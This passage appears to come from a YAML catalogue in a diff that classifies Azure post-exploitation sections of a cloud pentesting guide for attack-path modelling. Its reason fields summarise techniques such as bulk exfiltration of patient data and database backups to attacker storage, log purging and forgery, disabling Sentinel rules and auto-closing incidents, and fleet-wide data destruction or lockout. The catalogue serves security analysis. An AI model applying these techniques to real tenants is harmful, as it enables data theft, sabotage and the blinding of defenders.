src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#onelake-data-exfiltration-and-shortcut-abuse + technique: OneLake data exfiltration and shortcut abuse + source_revision: a66f094ede + reason: OneLake is ADLS-Gen2-API-compatible at https://onelake.dfs.fabric.microsoft.com//.Lakehouse/Files/..., so any ADLS/Blob tool + or the Azure SDK can bulk-pull data with a storage-audience token (see the notebook…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#capacity-arm-primitives--estate-wide-dos--cost-no-data-access + technique: Capacity ARM primitives — estate-wide DoS & cost (no data access) + source_revision: a66f094ede + reason: an availability + cost + settings primitive only — it grants zero access to workspace content (see the capacity-admin boundary). + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#pivot-through-key-based-host-storage-settings + technique: Pivot through key-based host-storage settings + source_revision: a66f094ede + reason: Reading the Function App host-storage setting discloses a Storage shared key. That key grants Storage data-plane access; code + poisoning through the content account is modelled by the Function App storage entries, with the specific app binding required. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-hdinsight-post-exploitation.md#disable-cluster-monitoring-defense-evasion + technique: Disable cluster monitoring (defense evasion) + source_revision: a66f094ede + reason: HDInsight extensions are the integration point for Azure Monitor / Log Analytics. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#smart-on-fhir-idp-backdoor-persistence + technique: SMART-on-FHIR IdP backdoor (persistence) + source_revision: a66f094ede + reason: The attacker-controlled OIDC issuer grants FHIR PHI read through application-specific SMART authorization; no Azure/Entra + principal is impersonated. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#dicom-bulk-imaging-exfil-to-attacker-storage-marquee + technique: DICOM bulk imaging exfil to attacker storage (marquee) + source_revision: a66f094ede + reason: the attacker issues POST /export with no source (meaning all studies) and an attacker-chosen blobContainerUri + UseManagedIdentity:true. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#fhir-export-full-phi-dump + technique: FHIR $export full PHI dump + source_revision: a66f094ede + reason: the attacker drives GET /$export (system/group/patient level) to dump the entire patient store to the configured export storage; + adding includeAssociatedData=history,deleted also pulls soft-deleted and historical records. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#forge--overwrite-clinical-data-via-import-and-medtech-integrity + technique: Forge / overwrite clinical data via $import and MedTech (integrity) + source_revision: a66f094ede + reason: the attacker uses $import (or the MedTech iotconnectors device-ingest write path) to create or overwrite clinical records + — forging observations/medications or corrupting patient data. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#export-an-exportable-certificatepfx-to-impersonate-a-service + technique: Export an exportable certificate/PFX to impersonate a service + source_revision: a66f094ede + reason: The backing-secret read for an exportable application certificate is the azure-keyvault-secret-read-sp-credentials path; certificate-object + read alone returns no private key. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#delete-the-vaults-diagnostic-settings-to-blind-the-auditevent-log + technique: Delete the vault's diagnostic settings to blind the AuditEvent log + source_revision: a66f094ede + reason: Restores the "no data-plane evidence" condition on a monitored vault — every subsequent SecretGet/KeyUnwrap/backup/purge then + leaves no data-plane trace, amplifying every other Key Vault technique. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#purge-the-whole-soft-deleted-vault-locationsdeletedvaultspurgeaction--mass-destruction--anti-forensics + technique: Purge the whole soft-deleted vault (locations/deletedVaults/purge/action) — mass destruction / anti-forensics + source_revision: a66f094ede + reason: Irreversible loss of the entire vault in one control-plane step — every secret, key, certificate and version, plus the vault's + own diagnostic/audit configuration. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#reading-the-workspace--loot--rule-recon + technique: Reading the workspace = loot + rule recon + source_revision: a66f094ede + reason: run KQL over all collected logs — harvest secrets/tokens/connection strings hidden in ingested logs, and map which tables + have recent data to learn which Sentinel detections are actually live (empty table = dead…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspacessearchjobswrite--restorelogswrite--read-basicarchive-tier--archived-data + technique: workspaces/searchJobs/write + restoreLogs/write — read Basic/Archive-tier & archived data + source_revision: a66f094ede + reason: search jobs run KQL over Basic/Auxiliary-tier and archived data (which scheduled rules and normal query/read cannot fully + reach) and materialize results into a new SRCH table; restoreLogs rehydrates archived data. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspace-shared-keys-and-log-injection + technique: Workspace shared keys and log injection + source_revision: a66f094ede + reason: retrieve workspace shared keys, then sign HTTP Data Collector API requests to inject forged custom log records — poisoning + dashboards, detections, and automations that trust attacker-controlled fields (ingestion…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#log-forgery-via-the-modern-logs-ingestion-api-datacollectionrulesdatawrite-no-shared-key + technique: Log forgery via the modern Logs Ingestion API (dataCollectionRules/data/write, no shared key) + source_revision: a66f094ede + reason: the same log-poisoning / false-flag / anti-forensics impact as the shared-key path above, but through the modern Entra-authenticated + Logs Ingestion API — which does not use the workspace shared keys at all. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#downgrade-a-tables-plan-silently-kills-log-alerts + technique: Downgrade a table's plan (silently kills log alerts) + source_revision: a66f094ede + reason: switch a hot table (e.g. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#shrink-retention--archive + technique: Shrink retention / archive + source_revision: a66f094ede + reason: reduce workspace/table interactive retention to the minimum and disable archive so older evidence ages out fast, capping how + far back an investigation can look. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#purge-specific-rows-the-loud-thorough-one + technique: Purge specific rows (the loud, thorough one) + source_revision: a66f094ede + reason: delete matching log rows by predicate to remove evidence of your indicator from the workspace tables. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#cut-ingestion-upstream-cleaner-than-purge + technique: Cut ingestion upstream (cleaner than purge) + source_revision: a66f094ede + reason: remove the diagnostic setting / DCR / data connector feeding the table so nothing arrives — no rows to purge and no purge + record. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspaceslinkedstorageaccountswrite--repoint-byos-storage + technique: workspaces/linkedStorageAccounts/write — repoint BYOS storage + source_revision: a66f094ede + reason: customer-managed storage bindings for Query, Alerts, CustomLogs and Ingestion data types can be repointed to attacker-controlled + storage — potentially capturing query text / saved-search-alert content / custom-log…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#overpowered-migrate-execution-roles--storage--compute-takeover-privilege-source + technique: Overpowered Migrate execution roles → storage & compute takeover (privilege source) + source_revision: a66f094ede + reason: The Migrate executor roles bundle listKeys and compute write permissions. Those underlying actions are modelled by Storage + consumer-poisoning and VM execution entries; the role name itself adds no distinct path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#opsec-on-the-writes-you-cant-avoid + technique: OPSEC on the writes you can't avoid + source_revision: a66f094ede + reason: Using expected timing, IPs or principals hides existing writes from anomaly rules; it creates no new permission or principal + edge. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#the-free-lane-reads + technique: 'The free lane: reads' + source_revision: a66f094ede + reason: Full-subscription enumeration with az / PowerShell / AzureHound to map resources, identities, and misconfigurations. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete--narrow-a-diagnostic-setting + technique: Delete / narrow a diagnostic setting + source_revision: a66f094ede + reason: 'Defense evasion / telemetry blind spot: a resource with no diagnostic setting has its data-plane activity recorded nowhere + while it keeps working. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete-a-data-collection-rule-association-surgical-host-blind-spot + technique: Delete a Data Collection Rule Association (surgical host blind spot) + source_revision: a66f094ede + reason: Stops host log collection (Windows event logs, syslog, custom logs) for ONE machine only, while the DCR and every other associated + machine keep working - a very low-noise, highly targeted guest-telemetry blind spot…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#disable-alert-rules + technique: Disable alert rules + source_revision: a66f094ede + reason: Disables the specific alert rule that would have paged the SOC (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#full-server-exfiltration-with-flexibleserversbackupandexportaction + technique: Full-server exfiltration with flexibleServers/backupAndExport/action + source_revision: a66f094ede + reason: 'exfiltration: triggers a full physical server backup exported to an attacker-controlled Azure Storage location — the API''s + targetDetails/FullBackupStoreDetails accepts caller-supplied blob-container SAS URIs. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: MySqlAuditLogs reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting on the + server. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#export-policy-hijack--mount-and-readwrite-all-data-marquee + technique: Export-policy hijack → mount and read/write all data (marquee) + source_revision: a66f094ede + reason: the attacker adds their own VM's IP/CIDR to the volume's exportPolicy.rules as an unixReadWrite + hasRootAccess client (worst + case allowedClients=0.0.0.0/0), then NFS-mounts the share and gets full read/write to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#snapshot-restore-to-new-volume-defeat-source-lockdown + technique: Snapshot restore-to-new-volume (defeat source lockdown) + source_revision: a66f094ede + reason: even if the original volume's export policy is tightly locked, the attacker clones any existing snapshot into a fresh attacker-controlled + volume (creationToken/snapshotId) and applies the export-policy hijack to that…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#replication-out-for-continuous-exfil-persistence + technique: Replication-out for continuous exfil (persistence) + source_revision: a66f094ede + reason: the attacker creates a destination data-replication volume they own and calls authorizeReplication on the source, establishing + scheduled cross-resource-group / cross-subscription replication (as frequent as every ~10…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#destruction--ransom-cluster-data-loss--availability + technique: Destruction / ransom cluster (data loss & availability) + source_revision: a66f094ede + reason: 'high-impact but noisy destructive levers, best understood as a cluster: - Silent rollback: volumes/revert/action rolls the + live volume back to a chosen snapshot, discarding all newer data — fast, hard to undo, no…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#prefer-eligibility-over-active-standing-privilege + technique: Prefer eligibility over active standing privilege + source_revision: a66f094ede + reason: Operating through JIT eligibility (activate only when needed, let expire) instead of a standing active assignment blends with + normal admin behaviour and evades reviews that flag only active assignments. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#reconnaissance-value + technique: Reconnaissance value + source_revision: a66f094ede + reason: Enumerating eligible assignments yields a ready-made escalation map of who can become administrator (Global Administrator + / Owner / User Access Administrator) that plain roleAssignments enumeration cannot see,…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#what-pim-emits-when-you-activate--and-how-to-blunt-each + technique: What PIM emits when you activate — and how to blunt each + source_revision: a66f094ede + reason: Suppresses or satisfies each activation signal (activation email, approval record, MFA challenge) so privileged roles can + be used with minimal alerting. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#dont-trip-the-identity-side-detections + technique: Don't trip the identity-side detections + source_revision: a66f094ede + reason: Activating from an expected device/IP at a plausible hour avoids Entra ID Protection / Sentinel anomaly detections (impossible + travel, new device, atypical time) that watch privileged-role use. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#verifying-youre-clear + technique: Verifying you're clear + source_revision: a66f094ede + reason: recon that confirms which Deny/Modify/DINE policies still apply to your target before you act. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#1-enforcementmode--donotenforce + technique: 1. enforcementMode = DoNotEnforce + source_revision: a66f094ede + reason: flips an assignment to audit-only so Deny/effects stop being enforced while the assignment still shows as 'assigned' to a + casual review — lets you perform actions the policy would block. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#2-notscopes--carve-your-target-out + technique: 2. notScopes — carve your target out + source_revision: a66f094ede + reason: adds your target RG/resource to the assignment's notScopes so the policy stops applying there while still applying everywhere + else — a surgical guardrail hole. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#3-policy-exemption + technique: 3. Policy exemption + source_revision: a66f094ede + reason: creates a first-class 'allowed to be non-compliant' exemption object for your scope that reads like legitimate governance, + silencing Deny/Audit for that target. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#4-overrides--parameters + technique: 4. Overrides / parameters + source_revision: a66f094ede + reason: downgrades the assignment's effect via overrides or the effect parameter (Deny -> Audit -> Disabled) for the whole assignment + without deleting it. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#5-assignment-deletion-loudest + technique: 5. Assignment deletion (loudest) + source_revision: a66f094ede + reason: deletes the assignment, removing the guardrail everywhere in scope — most impactful but most visible. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#neutralising-auditdetection-policies + technique: Neutralising audit/detection policies + source_revision: a66f094ede + reason: kills the non-compliance signal that feeds compliance dashboards and Sentinel rules ('resource X became non-compliant') so + the SOC never sees it — with no resource-level change. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#full-server-exfiltration-with-flexibleserversltrbackupaction + technique: Full-server exfiltration with flexibleServers/ltrBackup/action + source_revision: a66f094ede + reason: 'exfiltration: the PostgreSQL analog of the MySQL export path. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: PostgreSQLLogs (pgaudit) reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting + on the server. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#the-data-map-as-a-targeting-oracle + technique: The Data Map as a targeting oracle + source_revision: a66f094ede + reason: Reads registered sources plus schema and classifications to pinpoint which storage accounts, SQL databases and data lakes + hold PII/credentials/financial data — loot targeting without touching the data itself. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#tampering-blind-the-classification-pipeline + technique: 'Tampering: blind the classification pipeline' + source_revision: a66f094ede + reason: Disabling/pausing scans, narrowing scan scope/collections, or editing classification rules stops newly staged or exfiltrated + data being classified, removing it from Defender for Cloud sensitive-data attack paths and…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#bypassing-sentinel-detections-operating-within-the-model + technique: Bypassing Sentinel detections (operating within the model) + source_revision: a66f094ede + reason: Read the deployed analytics rules (tables watched, KQL, queryFrequency/queryPeriod/triggerThreshold) and then act under them + — stay below thresholds/aggregation windows, blend sign-in origin, and break Fusion/UEBA…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#auto-close-incidents-with-an-automation-rule + technique: Auto-close incidents with an automation rule + source_revision: a66f094ede + reason: Creates an automation rule that runs on incident creation and sets status=Closed/BenignPositive for anything matching your + activity — the detection still fires but the incident is triaged away before a human ever sees it. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#watchlist-poisoning + technique: Watchlist poisoning + source_revision: a66f094ede + reason: Add your IP to an allow-list watchlist (or remove your indicator from a block-list) so every analytics rule that joins the + watchlist treats you as approved — defeats many rules without editing a single rule. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#disable-or-narrow-analytics-rules + technique: Disable or narrow analytics rules + source_revision: a66f094ede + reason: Sets enabled=false or splices an exclusion filter (| where SourceIP != "") into a rule's KQL so your activity no longer generates + alerts/incidents — the edited-KQL variant is quieter than flat-disabling because an…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#delete--reassign-incidents + technique: Delete / reassign incidents + source_revision: a66f094ede + reason: Removes an incident from the SOC queue (or quietly reassigns/closes it, which is stealthier than deletion) so the triage team + never works it. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#kill-the-data-connector + technique: Kill the data connector + source_revision: a66f094ede + reason: Stops ingestion of that source into the workspace, blinding every analytics rule that depends on the table — highest leverage + because one action defeats many rules at once. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-authorizationrules-send-and-receive-messages + technique: 'Actions: AuthorizationRules Send and Receive Messages' + source_revision: a66f094ede + reason: Send (inject) or receive (read/consume) messages on the namespace/entity → tamper with downstream workflows and exfiltrate + message contents. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#sql-data-sync--attacker-controlled-sync-member-continuous-2-way-exfil--tamper + technique: SQL Data Sync — attacker-controlled sync member (continuous 2-way exfil + tamper) + source_revision: a66f094ede + reason: create a sync group on the victim (hub) database and add an attacker-owned Azure SQL DB as a sync member. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#complete-the-audit-teardown--extended--devops-auditing--diagnostic-settings + technique: Complete the audit teardown — extended / DevOps auditing + diagnostic settings + source_revision: a66f094ede + reason: the base auditingSettings/write teardown documented above is only one of several audit surfaces. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-mover-post-exploitation.md#repoint--define-a-job-to-exfiltrate-on-prem-shares-to-attacker-storage + technique: Repoint / define a job to exfiltrate on-prem shares to attacker storage + source_revision: a66f094ede + reason: an attacker who can edit endpoints/jobs defines a job that copies a source the agent can reach — most valuably an on-prem + SMB/NFS file server (the agent holds the credentials/line-of-sight) or an existing Azure blob…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#recurrent-task-as-standing-managed-identity-backed-persistence + technique: Recurrent task as standing managed-identity-backed persistence + source_revision: a66f094ede + reason: The task managed identity performs the configured blob operations, but the documented outcome is recurring data deletion, + tiering or tag changes; no token or arbitrary identity action is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#blob-index-tag--classification-tampering-at-fleet-scale + technique: Blob index-tag / classification tampering at fleet scale + source_revision: a66f094ede + reason: SetBlobTags rewrites blob index tags across the fleet, breaking tag-driven lifecycle/retention automation, DLP, cost allocation + and e-discovery, or planting misleading tags. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-scale-destructive--ransomware-operations-from-one-object + technique: Fleet-scale destructive / ransomware operations from one object + source_revision: a66f094ede + reason: The task applies DeleteBlob, Archive or expiry operations across assigned storage accounts. It destroys or delays data access; + it does not grant the task identity token to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-wide-locked-immutability--legal-hold-lockout-extortion--ir-obstruction + technique: Fleet-wide locked-immutability / legal-hold lockout (extortion / IR obstruction) + source_revision: a66f094ede + reason: SetBlobImmutabilityPolicy mode=locked with a far-future untilDate, and/or SetBlobLegalHold=true, applied across many accounts. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-synapse-post-exploitation.md#disable-sql-auditing--threat-detection-and-strip-data-masking + technique: Disable SQL auditing / threat detection and strip data masking + source_revision: a66f094ede + reason: defense evasion / anti-forensics. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-1-online-endpoints-requires-onlineendpointswrite--deploymentswrite + technique: 'Option 1: Online Endpoints (requires onlineEndpoints/write + deployments/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-2-ml-jobs-requires-jobswrite + technique: 'Option 2: ML Jobs (requires jobs/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-3-compute-instances-requires-computeswrite + technique: 'Option 3: Compute Instances (requires computes/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-completions-are-not-a-validated-current-disclosure-path + technique: Stored completions are not a validated current disclosure path + source_revision: a66f094ede + reason: 'The section is a negative finding: the deprecated stored-completions actions do not disclose another principal’s completions + or credentials.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#direct-api-technique + technique: Direct API technique + source_revision: a66f094ede + reason: 'privesc: complete the two-token (Databricks + ARM) SCIM bootstrap directly against the workspace host to land in the admins + group and act as workspace administrator, executing workloads under the workspace/cluster…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#enumeration + technique: Enumeration + source_revision: a66f094ede + reason: Lists every Conditional Access policy (/identity/conditionalAccess/policies) to map conditions, exclusions and mis-scoped + signals — the recon that identifies which policy to bypass or weaken for privesc/access. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#device-platforms---device-condition + technique: Device Platforms - Device Condition + source_revision: a66f094ede + reason: Spoofs or uses an unknown browser user-agent so a platform-scoped CA condition (Android/iOS/Windows/macOS/Linux) does not + match, avoiding the control it applies — e.g. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: 